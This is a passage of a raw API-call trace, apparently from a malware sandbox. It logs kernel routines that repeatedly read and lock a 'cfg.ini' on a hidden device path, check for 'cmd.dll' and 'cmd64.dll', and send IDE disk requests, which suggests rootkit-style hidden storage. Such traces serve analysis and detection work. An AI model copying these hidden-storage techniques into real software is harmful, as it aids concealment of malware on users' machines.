VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.768] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.768] IdePortDispatch () returned 0x103 [0117.768] KeWaitForMutexObject () returned 0x0 [0117.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.769] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.769] IdePortDispatch () returned 0x103 [0117.769] KeWaitForMutexObject () returned 0x0 [0117.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.769] KeLeaveCriticalRegion () [0117.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.769] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.770] KeEnterCriticalRegion () [0117.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] KeLeaveCriticalRegion () [0117.770] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.770] KeEnterCriticalRegion () [0117.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.770] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6b60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] KeLeaveCriticalRegion () [0117.770] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.770] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.770] KeEnterCriticalRegion () [0117.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] KeLeaveCriticalRegion () [0117.770] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.770] ReleaseMutex (hMutex=0xf0) returned 1 [0117.770] Sleep (dwMilliseconds=0x124f80) [0117.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.785] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.785] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.785] KeEnterCriticalRegion () [0117.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.785] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.785] IdePortDispatch () returned 0x103 [0117.785] KeWaitForMutexObject () returned 0x0 [0117.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.785] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.785] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.785] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.785] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.785] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cfe00 [0117.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.785] KeLeaveCriticalRegion () [0117.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.785] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.785] KeEnterCriticalRegion () [0117.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.786] KeLeaveCriticalRegion () [0117.786] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.786] KeEnterCriticalRegion () [0117.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.786] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.786] IdePortDispatch () returned 0x103 [0117.786] KeWaitForMutexObject () returned 0x0 [0117.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.786] KeLeaveCriticalRegion () [0117.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.786] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.786] KeEnterCriticalRegion () [0117.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d23000 [0117.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.786] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.787] IdePortDispatch () returned 0x103 [0117.787] KeWaitForMutexObject () returned 0x0 [0117.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.787] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.787] IdePortDispatch () returned 0x103 [0117.787] KeWaitForMutexObject () returned 0x0 [0117.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.787] KeLeaveCriticalRegion () [0117.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.788] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.788] KeEnterCriticalRegion () [0117.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] KeLeaveCriticalRegion () [0117.788] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.788] KeEnterCriticalRegion () [0117.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.788] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] KeLeaveCriticalRegion () [0117.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.788] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.788] KeEnterCriticalRegion () [0117.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] ExFreePoolWithTag (P=0xfffffa80039cfe00, Tag=0x0) [0117.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.788] KeLeaveCriticalRegion () [0117.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.789] ReleaseMutex (hMutex=0xf0) returned 1 [0117.789] Sleep (dwMilliseconds=0x124f80) [0117.799] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.799] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.799] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.799] KeEnterCriticalRegion () [0117.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.799] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.799] IdePortDispatch () returned 0x103 [0117.800] KeWaitForMutexObject () returned 0x0 [0117.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.800] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.800] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.800] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.800] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.800] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cfe00 [0117.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.800] KeLeaveCriticalRegion () [0117.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.800] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.800] KeEnterCriticalRegion () [0117.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.800] KeLeaveCriticalRegion () [0117.800] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.800] KeEnterCriticalRegion () [0117.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.800] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.800] IdePortDispatch () returned 0x103 [0117.801] KeWaitForMutexObject () returned 0x0 [0117.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.801] KeLeaveCriticalRegion () [0117.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.801] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.801] KeEnterCriticalRegion () [0117.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.801] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d26000 [0117.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.801] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.801] IdePortDispatch () returned 0x103 [0117.801] KeWaitForMutexObject () returned 0x0 [0117.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.802] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.802] IdePortDispatch () returned 0x103 [0117.802] KeWaitForMutexObject () returned 0x0 [0117.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.802] KeLeaveCriticalRegion () [0117.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.802] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.802] KeEnterCriticalRegion () [0117.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] KeLeaveCriticalRegion () [0117.803] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.803] KeEnterCriticalRegion () [0117.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.803] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6900, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] KeLeaveCriticalRegion () [0117.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.803] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.803] KeEnterCriticalRegion () [0117.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] ExFreePoolWithTag (P=0xfffffa80039cfe00, Tag=0x0) [0117.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.803] KeLeaveCriticalRegion () [0117.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.803] ReleaseMutex (hMutex=0xf0) returned 1 [0117.803] Sleep (dwMilliseconds=0x124f80) [0117.822] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.822] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.822] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.822] KeEnterCriticalRegion () [0117.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.822] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.822] IdePortDispatch () returned 0x103 [0117.822] KeWaitForMutexObject () returned 0x0 [0117.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.822] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.823] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6cf0 [0117.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.823] KeLeaveCriticalRegion () [0117.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.823] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.823] KeEnterCriticalRegion () [0117.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.823] KeLeaveCriticalRegion () [0117.823] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.823] KeEnterCriticalRegion () [0117.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.823] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.823] IdePortDispatch () returned 0x103 [0117.823] KeWaitForMutexObject () returned 0x0 [0117.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.823] KeLeaveCriticalRegion () [0117.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.824] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.824] KeEnterCriticalRegion () [0117.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2b000 [0117.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.824] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.824] IdePortDispatch () returned 0x103 [0117.825] KeWaitForMutexObject () returned 0x0 [0117.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.825] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.825] IdePortDispatch () returned 0x103 [0117.826] KeWaitForMutexObject () returned 0x0 [0117.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.826] KeLeaveCriticalRegion () [0117.826] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.826] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.826] KeEnterCriticalRegion () [0117.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.827] KeLeaveCriticalRegion () [0117.827] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.827] KeEnterCriticalRegion () [0117.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.827] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.827] KeLeaveCriticalRegion () [0117.827] IofCompleteRequest (Irp=0xfffffa8007ffba30, 